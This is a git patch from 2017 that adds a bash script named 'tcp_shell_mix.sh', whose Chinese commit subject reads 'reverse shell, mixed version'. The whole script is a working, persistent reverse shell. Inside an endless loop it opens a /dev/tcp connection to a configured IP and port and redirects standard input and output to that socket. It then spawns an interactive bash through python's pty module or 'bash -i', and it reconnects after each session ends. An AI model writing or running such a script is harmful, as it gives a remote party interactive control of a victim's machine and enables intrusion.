From 9ee23b5f80b655b72782c803e927fcafa2144a9d Mon Sep 17 00:00:00 2001 From: Lingerhk Date: Fri, 20 Jan 2017 21:13:55 -0500 Subject: [PATCH] =?UTF-8?q?=E5=8F=8D=E5=BC=B9shell=5F=E6=B7=B7=E5=90=88?= =?UTF-8?q?=E7=89=88?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- reverse_shell/tcp_shell_mix.sh | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 reverse_shell/tcp_shell_mix.sh diff --git a/reverse_shell/tcp_shell_mix.sh b/reverse_shell/tcp_shell_mix.sh new file mode 100644 index 0000000..cdb4944 --- /dev/null +++ b/reverse_shell/tcp_shell_mix.sh @@ -0,0 +1,31 @@ +#!/bin/bash + +# > desc: bash反弹shell混合版 +# > author: s0nnet +# > time: 2017-01-20 + + +function reverse_shell() +{ + ip=127.0.0.1 + port=8089 + sleep_tm=1 + + while [ 1 ] + do { + exec 9<> /dev/tcp/$ip/$port + [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1 + if type python >/dev/null; then + python -c 'import pty; pty.spawn("/bin/bash")' + else + /bin/bash --refile "welcome!" --noprofile -i + fi + }& + wait + + sleep $((RANDOM%sleep_tm)) + + done +} + +reverse_shell